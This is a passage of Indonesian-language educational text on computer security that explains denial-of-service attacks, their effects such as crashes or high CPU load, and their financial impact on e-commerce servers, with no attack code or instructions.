ini tidak dapat menyediakan servis-servisnya (denial of service) atau
tingkat servis menurun dengan drastis. Cara untuk melu puhkan dapat
bermacam-macam dan akibatnyapun dapat beragam. Sistem yang diserang
dapat menjadi “bengong” (hang, crash), tidak berfungsi, atau turun
kinerjanya (beban CPU tinggi).
Serangan denial of service berbeda dengan kejahatan pencurian data atau
kejahatan memonitor informasi yang lalu lalang. Dalam serangan DoS tidak
ada yang dicuri. Akan tetapi, serangan DoS dapat mengakibatkan kerugian
finansial. Sebagai contoh apabila sistem yang diserang merupakan server
yang menangani transaksi “commerce”, maka apabila server ini tidak
berfungsi, transaksi tidak dapat dilangs

